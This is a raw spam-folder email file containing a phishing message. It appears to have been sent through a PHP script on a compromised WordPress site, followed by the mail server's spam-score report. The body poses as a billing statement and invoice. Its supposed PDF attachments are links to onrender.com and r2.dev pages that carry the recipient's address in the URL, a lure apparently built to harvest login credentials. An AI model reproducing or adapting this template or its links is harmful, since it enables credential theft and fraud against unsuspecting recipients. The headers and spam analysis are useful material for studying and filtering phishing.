File: /home/govancoz/mail/.spam/new/1740263921.M140877P2241324.zacp120.webway.host,S=9841,W=10019
Return-Path: <support@ministryofbeer.co.uk>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
by zacp120.webway.host with LMTP
id o0JRB/FRumcsMyIA8rC0kQ
(envelope-from <support@ministryofbeer.co.uk>)
for <govancoz+spam@zacp120.webway.host>; Sun, 23 Feb 2025 00:38:41 +0200
Return-path: <support@ministryofbeer.co.uk>
Envelope-to: candice@govan.co.za
Delivery-date: Sun, 23 Feb 2025 00:38:41 +0200
Received: from server.whatboat.com ([5.10.25.200]:48052)
by zacp120.webway.host with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.98)
(envelope-from <support@ministryofbeer.co.uk>)
id 1tly8s-00000009ONn-0mCN
for candice@govan.co.za;
Sun, 23 Feb 2025 00:38:41 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
d=ministryofbeer.co.uk; s=default; h=Content-Transfer-Encoding:Content-Type:
MIME-Version:Message-ID:From:Date:Subject:To:Sender:Reply-To:Cc:Content-ID:
Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
List-Subscribe:List-Post:List-Owner:List-Archive;
bh=cdiJlW7dT8aJZ62u1Hnji3iWfV1La2EgKY8oYBqZ0bo=; b=XBBmWsY9qAtJr564cj0jjzOSU5
87PdOJMJuuPv7J2Jy5ColLFkeRACv7iqUTA/BRkg8Bg24zUdgVbUwexmdTdNTr7J9mbA+3SbtHkF1
fmnxwZR7WCG7MPx4mF5oJ71F1g+7pCAItWvzVjQgGbG+V17zigvo3McA/ViS+RH2+4l3SCU5skyd7
+TLDJzb7bWjCjGkYOXnB4rSA3TDq1gqzVwnSTOcgCtZRltBbzwtUxKlWAWCLwZcGWLNpAR/dMOhmn
gAH3SckzVUWrjyc859k9+jhYaOkGZ+uyRkY7PiEPu09mDlOHLSWTKDsStqtecjmZqFFFYz3kaVix/
HLrJIkvw==;
Received: from whatboat by wp.server.whatboat.com with local (Exim 4.96.2)
(envelope-from <support@ministryofbeer.co.uk>)
id 1tl21h-0002Fy-0g
for candice@govan.co.za;
Thu, 20 Feb 2025 08:35:21 +0000
To: candice@govan.co.za
X-PHP-Script: ministryofbeer.co.uk/wp-admin/ORVX-ipzzal.php for 197.185.161.85
X-PHP-Originating-Script: 1002:ORVX-ipzzal.php
Date: Thu, 20 Feb 2025 08:35:20 +0000
From: statement <support@ministryofbeer.co.uk>
Message-ID: <f29363a8874feb4b6b74261398e3e788@ministryofbeer.co.uk>
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="b1_f29363a8874feb4b6b74261398e3e788"
Content-Transfer-Encoding: 8bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - wp.server.whatboat.com
X-AntiAbuse: Original Domain - govan.co.za
X-AntiAbuse: Originator/Caller UID/GID - [1002 992] / [47 12]
X-AntiAbuse: Sender Address Domain - ministryofbeer.co.uk
X-Get-Message-Sender-Via: wp.server.whatboat.com: authenticated_id: whatboat/from_h
X-Authenticated-Sender: wp.server.whatboat.com: support@ministryofbeer.co.uk
X-Source:
X-Source-Args:
X-Source-Dir:
X-Spam-Status: Yes, score=13.2
X-Spam-Score: 132
X-Spam-Bar: +++++++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.webway.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Dear candice , Attachments:Invoice-INV10771.pdfCustomer Statement
JHD001-D37.pdfThank youKind RegardsBillings Invoices Dear candice ,
Content analysis details: (13.2 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: onrender.com]
[URI: r2.dev]
[URI: ministryofbeer.co.uk]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[5.10.25.200 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[5.10.25.200 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[5.10.25.200 listed in sa-accredit.habeas.com]
9.0 KAM_BODY_COMPROMISED_URIBL_PCCC Body contains URI listed in PCCC
Compromised URIBL (https://raptor.pccc.com/RBL)
[URI: r2.dev]
0.0 URIBL_PH_SURBL Contains an URL listed in the PH SURBL blocklist
[URI: saman-kayk.onrender.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.1 KAM_COUK Scoring .co.uk emails higher due to poor registry security.
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 T_MXG_EMAIL_FRAG BODY: URI with email in fragment
2.0 GB_R2DEVHTMLLOW Cloudflare r2.dev Lower Confidence of Spam
2.2 PHP_SCRIPT Sent by PHP script
X-Spam-Flag: YES
Subject: ***SPAM*** FW: Statement
This is a multi-part message in MIME format.
--b1_f29363a8874feb4b6b74261398e3e788
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Dear candice ,
Attachments:Invoice-INV10771.pdfCustomer Statement JHD001-D37.pdfThank youKind RegardsBillings Invoices
--b1_f29363a8874feb4b6b74261398e3e788
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
<HTML><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=
=3DUTF-8"/></head><BODY><P style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, H=
elvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFOR=
M: none; FONT-WEIGHT: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHAN=
S: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255)=
; TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: norm=
al; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; tex=
t-decoration-style: initial; text-decoration-color: initial"><SPAN style=3D=
'FONT-SIZE: 18px; FONT-FAMILY: "segoe ui", sans-serif'><SPAN style=3D"FONT-=
SIZE: 16px; FONT-FAMILY: arial, helvetica, sans-serif; COLOR: rgb(0,0,0)"><=
FONT style=3D"VERTICAL-ALIGN: inherit"><FONT style=3D"VERTICAL-ALIGN: inher=
it">Dear=C2=A0</FONT></FONT></SPAN></SPAN><FONT style=3D"VERTICAL-ALIGN: in=
herit"><FONT style=3D"VERTICAL-ALIGN: inherit">candice ,</FONT></FONT></P>
<TABLE style=3D"FONT-SIZE: small; FONT-FAMILY: Arial, Helvetica, sans-serif=
; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT=
: 400; COLOR: rgb(34,34,34); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LET=
TER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); font-variant-ligat=
ures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; te=
xt-decoration-thickness: initial; text-decoration-style: initial; text-deco=
ration-color: initial" width=3D658>
<TBODY>
<TR>
<TD style=3D"MARGIN: 0px">
<P><B>Attachments:</B><BR><U><B><SPAN role=3Dlink><SPAN role=3Dlink><A styl=
e=3D"COLOR: rgb(17,85,204)" href=3D"https://ytrdgystcg.onrender.com/cliente=
mailcessdevwebsab.html#candice@govan.co.za" rel=3D"nofollow noopener norefe=
rrer" target=3D_blank data-saferedirecturl=3D"https://www.google.com/url?q=
=3Dhttps://pub-bdc3314b19104efcb7284aa7d4fd7d7b.r2.dev/chameon.htm#&source=
=3Dgmail&ust=3D1740004294592000&usg=3DAOvVaw0jWReB9PhN9y6XNYdWelUr">Invoice=
-INV10771.pdf</A></SPAN></SPAN></B></U><BR><U><B><SPAN role=3Dlink id=3Dm_7=
146685492273447086gmail-OBJ_PREFIX_DWT104_com_zimbra_url><SPAN role=3Dlink =
id=3Dm_7146685492273447086gmail-OBJ_PREFIX_DWT108_com_zimbra_url><A style=
=3D"COLOR: rgb(17,85,204)" href=3D"https://ytrdgystcg.onrender.com/clientem=
ailcessdevwebsab.html#candice@govan.co.za" rel=3D"nofollow noopener norefer=
rer" target=3D_blank data-saferedirecturl=3D"https://www.google.com/url?q=
=3Dhttps://saman-kayk.onrender.com/clientemailcessdevweb.html#candice@govan=
.co.za&source=3Dgmail&ust=3D1740004294592000&usg=3DAOvVaw3Vt8zJg7jRf3Gffga3=
oktK">Customer Statement JHD001-D37.pdf</A><BR></SPAN></SPAN></B></U><SPAN =
role=3Dlink id=3Dm_7146685492273447086gmail-OBJ_PREFIX_DWT105_com_zimbra_ur=
l><SPAN role=3Dlink id=3Dm_7146685492273447086gmail-OBJ_PREFIX_DWT109_com_z=
imbra_url><A style=3D"COLOR: rgb(17,85,204)" href=3D"https://google.com/" r=
el=3D"nofollow noopener noreferrer" target=3D_blank data-saferedirecturl=3D=
"https://www.google.com/url?q=3Dhttps://google.com/&source=3Dgmail&ust=3D17=
40004294592000&usg=3DAOvVaw3_l2rTnxhimXKBBbVblW8u"><BR></A>Thank you<BR>Kin=
d Regards<BR>Billings Invoices</SPAN></SPAN></P></TD></TR></TBODY></TABLE><=
/BODY></HTML>
--b1_f29363a8874feb4b6b74261398e3e788--